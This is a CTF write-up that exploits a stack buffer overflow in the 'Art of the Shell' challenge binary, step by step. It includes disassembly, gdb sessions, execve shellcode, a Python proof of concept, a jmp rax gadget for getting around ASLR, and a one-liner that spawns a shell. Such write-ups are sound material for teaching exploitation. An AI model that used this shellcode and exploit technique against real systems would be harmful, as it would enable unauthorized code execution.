Angstrom CTF Art of the Shell writeup
Posted on Mon 01 May 2017 in pwn
Last week, from 22nd to 29th of May, Angstrom CTF was running. Unfortunately I didn't have much time to participate but I did manage to solve the Art of the Shell challenge.
Here's the description:
Looks like this program has a buffer overflow vulnerability! But there's no code inside that spawns a shell, so it must be secure! Get the flag anyway by exploiting it on our shell sever. The problem is available as: binary and source.
The challenge author was generous enough to give us the source code alongside the binary.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
void be_nice_to_people()
{
gid_t gid = getegid();
setresgid(gid, gid, gid);
}
void vuln(char *input)
{
char buf[64];
strcpy(buf, input);
}
int main(int argc, char **argv)
{
if (argc != 2)
{
printf("Usage: art_of_the_shell [str]\n");
return 1;
}
be_nice_to_people();
vuln(argv[1]);
return 0;
}
|
There's an obvious vulnerability at line 14 in the aptly named vuln function which uses strcpy
to copy our input from the first command line argument into the buf character array. For those who don't know, strcpy
doesn't bound-check the input which means we can overflow the 64 bytes of buf and continue overwriting data on the stack.
Let's have a look at the actual binary. Using pwntools checksec, we can view the security mitigations the binary has been compiled with.
$ file art_of_the_shell
art_of_the_shell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ad5f009fab7e9dbe9094f15cdeb42737e74d6233, not stripped
$ checksec art_of_the_shell
[*] '/home/gbsn/ctf/angstrom/pwn/art/art_of_the_shell'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
Now we know that it's a x86-64 elf binary with no NX, no PIE and no stack canaries.
In this case we have access to the source code but I always like to make a habit of opening up binaries in everyones favorite disassembler (hint: it's radare2) and poke around. Running radare2 with -AA will autoanalyze the binary.
$ r2 -AA art_of_the_shell
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[x] Type matching analysis for all functions (afta))unc.* functions (aan)
[x] Type matching analysis for all functions (afta)
-- A C program is like a fast dance on a newly waxed dance floor by people carrying razors - Waldi Ravens
[0x00400510]> pdf @ main
;-- main:
┌ (fcn) main 74
│ main ();
│ ; var int local_10h @ rbp-0x10
│ ; var int local_4h @ rbp-0x4
│ ; DATA XREF from 0x0040052d (entry0)
│ 0x00400657 55 push rbp
│ 0x00400658 4889e5 mov rbp, rsp
│ 0x0040065b 4883ec10 sub rsp, 0x10
│ 0x0040065f 897dfc mov dword [local_4h], edi
│ 0x00400662 488975f0 mov qword [local_10h], rsi
│ 0x00400666 837dfc02 cmp dword [local_4h], 2 ; [0x2:4]=0x102464c
│ ┌─< 0x0040066a 7411 je 0x40067d
│ │ 0x0040066c bf34074000 mov edi, str.Usage:_art_of_the_shell__str_ ; "Usage: art_of_the_shell [str]" @ 0x400734 ; const char * s
│ │ 0x00400671 e84afeffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x00400676 b801000000 mov eax, 1
│ ┌──< 0x0040067b eb22 jmp 0x40069f
│ │└─> 0x0040067d b800000000 mov eax, 0
│ │ 0x00400682 e87fffffff call sym.be_nice_to_people
│ │ 0x00400687 488b45f0 mov rax, qword [local_10h]
│ │ 0x0040068b 4883c008 add rax, 8
│ │ 0x0040068f 488b00 mov rax, qword [rax]
│ │ 0x00400692 4889c7 mov rdi, rax
│ │ 0x00400695 e89bffffff call sym.vuln
│ │ 0x0040069a b800000000 mov eax, 0
│ │ ; JMP XREF from 0x0040067b (main)
│ └──> 0x0040069f c9 leave
└ 0x004006a0 c3 ret
[0x00400510]> pdf @ sym.vuln
┌ (fcn) sym.vuln 34
│ sym.vuln ();
│ ; var int local_48h @ rbp-0x48
│ ; var int local_40h @ rbp-0x40
│ ; CALL XREF from 0x00400695 (main)
│ 0x00400635 55 push rbp
│ 0x00400636 4889e5 mov rbp, rsp
│ 0x00400639 4883ec50 sub rsp, 0x50 ; 'P'
│ 0x0040063d 48897db8 mov qword [local_48h], rdi
│ 0x00400641 488b55b8 mov rdx, qword [local_48h]
│ 0x00400645 488d45c0 lea rax, [local_40h]
│ 0x00400649 4889d6 mov rsi, rdx ; const char * src
│ 0x0040064c 4889c7 mov rdi, rax ; char * dest
│ 0x0040064f e85cfeffff call sym.imp.strcpy ; char *strcpy(char *dest, const char *src)
│ 0x00400654 90 nop
│ 0x00400655 c9 leave
└ 0x00400656 c3 ret
[0x00400510]> ? 0x48
72 0x48 0110 72 0000:0048 72 "H" 01001000 72.0 72.000000f 72.000000
[0x00400510]> ? 0x40
64 0x40 0100 64 0000:0040 64 "@" 01000000 64.0 64.000000f 64.000000
Looking at the disassembly of the vuln function we can see that it takes rbp-0x48
as the source and rbp-0x40
as the destination to strcpy
. They correspond to argv[1]
and char buf[64]
in the source code.
An educated guesser would make the prediction that the offset between our buffer and the saved return address should be 72. But since we're all about empirical evidence here we should fire up a debugger and gather some facts.
$ gdb -q art_of_the_shell
Reading symbols from art_of_the_shell...(no debugging symbols found)...done.
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ run $(python -c 'print "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL"')
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffd950 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RBX: 0x0
RCX: 0x7fffffffdf40 --> 0x474458004c414136 ('6AAL')
RDX: 0x7fffffffd9b0 --> 0x4c414136 ('6AAL')
RSI: 0x50 ('P')
RDI: 0x7fffffffd950 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RBP: 0x4141334141644141 ('AAdAA3AA')
RSP: 0x7fffffffd998 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x400656 (<vuln+33>: ret)
[...]
[-------------------------------------code-------------------------------------]
0x40064f <vuln+26>: call 0x4004b0 <strcpy@plt>
0x400654 <vuln+31>: nop
0x400655 <vuln+32>: leave
=> 0x400656 <vuln+33>: ret
0x400657 <main>: push rbp
0x400658 <main+1>: mov rbp,rsp
0x40065b <main+4>: sub rsp,0x10
0x40065f <main+8>: mov DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
[...]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400656 in vuln ()
gdb-peda$ x/g $rsp
0x7fffffffd998: 0x4134414165414149
gdb-peda$ pattern offset 0x4134414165414149
4698452060381725001 found at offset: 72
gdb-peda$
Since the saved return address is the last thing remaining on the stack before a RET
we know that at the current state, RSP
contains our saved return address. Using peda's pattern toolset we can calculate the offset between the start of our buffer and the saved return address.
For the curious: The reason it SIGSEGVs when executing RET
and not on the bytes from our pattern which overwrote the saved return address is because of x86-64's canonical form addresses, which you can read about here. Basically, we're trying to return to 0x4134414165414149
while the maximum canonical address is 0x00007FFFFFFFFFFF
.
Knowing this, we want to overwrite the 72 byte offset and another 6 bytes of the saved return address.
gdb-peda$ run $(python -c 'print "A"*72+"B"*6')
Starting program: /home/gbsn/ctf/angstrom/pwn/art/art_of_the_shell $(python -c 'print "A"*72+"B"*6')
Program received signal SIGSEGV, Segmentation fault.
[...]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()
gdb-peda$
We've successfully changed the executing flow by getting the program to execute our supplied return address of 0x0000424242424242
. The next step is to run our own shellcode. What I usually do here is create a poc.py file where I can quickly edit and play around with the payload.
Our payload should be something like this:
[nopsled] [shellcode] [offset] [saved return address]
Since we know the offset to the saved return address is 72 we need the following.
[20 bytes of nops] [27 bytes of shellcode] [25 bytes of A] [6 bytes of B]
We can generate linux execve shellcode for the x86-64 architecture with ragg2 which is part of the radare2 toolset.
$ ragg2 -i exec -b 64 -z
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
My initial PoC looked like this.
import sys
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0" \
"\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f" \
"\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" \
nops = "\x90"*20
p = ''
p += nops
p += sc
p += "A"*(72-len(nops)-len(sc))
p += "B"*6
sys.stdout.write(p)
The code should be fairly self-explanatory for anyone familiar with python. Let's execute our PoC in GDB and see what happens.
gdb-peda$ run $(python exploit.py)
Starting program: /home/gbsn/ctf/angstrom/pwn/art/art_of_the_shell $(python exploit.py)
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffd960 --> 0x9090909090909090
RBX: 0x0
RCX: 0x7fffffffdf40 --> 0x4458004242424242 ('BBBBB')
RDX: 0x7fffffffd9a9 --> 0xa800004242424242
RSI: 0x9 ('\t')
RDI: 0x7fffffffd960 --> 0x9090909090909090
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd9b0 --> 0x7fffffffdaa8 --> 0x7fffffffdec7 ("/home/gbsn/ctf/angstrom/pwn/art/art_of_the_shell")
RIP: 0x424242424242 ('BBBBBB')
[...]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()
gdb-peda$ x/20g $rsp - 80
0x7fffffffd960: 0x9090909090909090 0x9090909090909090
0x7fffffffd970: 0xbb48c03190909090 0xff978cd091969dd1
0x7fffffffd980: 0x52995f5453dbf748 0x41050f3bb05e5457
0x7fffffffd990: 0x4141414141414141 0x4141414141414141
0x7fffffffd9a0: 0x4141414141414141 0x0000424242424242
0x7fffffffd9b0: 0x00007fffffffdaa8 0x0000000200000000
0x7fffffffd9c0: 0x00000000004006b0 0x00007ffff7a2e830
0x7fffffffd9d0: 0x0000000000000000 0x00007fffffffdaa8
0x7fffffffd9e0: 0x00000002f7b99a28 0x0000000000400657
0x7fffffffd9f0: 0x0000000000000000 0x28cf2e865791d517
What we could do here is overwriting the saved return address with the start of our nopsled (0x7fffffffd960
) on the stack. However, ASLR is enabled on the remote system making the starting stack address random each time the program is run.
Observing readers might have already noticed something interesting. RAX
seems to point to the beginning our input. Instead of hardcoding the address of our nopsled on the stack, we could just simply find a way to call/ret/jmp to RAX
which should start executing our nopsled and then our shellcode.
The reason this works is because when you compile a binary without PIE (position-independent executable) the starting address of the .TEXT section, which contains the programs executable instruction, does not get randomized on each run.
We'll use the handy jmpcall command provided by peda to find a suitable opcode sequence.
gdb-peda$ jmpcall RAX
0x400565 : jmp rax
0x4005b3 : jmp rax
0x4005fe : call rax
0x600565 : jmp rax
0x6005b3 : jmp rax
0x6005fe : call rax
gdb-peda$
All we have to change with our initial PoC is adding the address of the jmp rax
opcode sequence in reverse order (x86 is little endian).
from pwn import *
import sys
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0" \
"\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f" \
"\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" \
nops = "\x90"*20
p = ''
p += nops
p += sc
p += "A"*(72-len(nops)-len(sc))
p += "\x60\x05\x65"[::-1] # 0x600565: jmp rax
sys.stdout.write(p)
Side note: I'm not sure why, but pwntools p64()
packing function didn't work here. Halp!
Running this inside GDB should now spawn a shell!
gdb-peda$ run $(python exploit.py)
Starting program: /home/gbsn/ctf/angstrom/pwn/art/art_of_the_shell $(python exploit.py)
process 8637 is executing new program: /bin/dash
$ whoami
[New process 8642]
process 8642 is executing new program: /usr/bin/whoami
gbsn
[Inferior 2 (process 8642) exited normally]
Bingo!
All I had to do now was convert the PoC to a python oneliner to be run in the CTF shell.
$ ./art_of_the_shell $(python -c 'print "\x90"*20 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*25 + "\x60\x05\x65"[::-1]')
$ cat flag.txt
actf{****************************}
$
Conclusion
We successfully exploited a stack-based buffer overflow on a x86-64 elf binary. We also bypassed ASLR by reusing code from the non-randomized .TEXT section and executed our own shellcode spawning a shell, from which we gained elevated privileges and was able to read the flag file.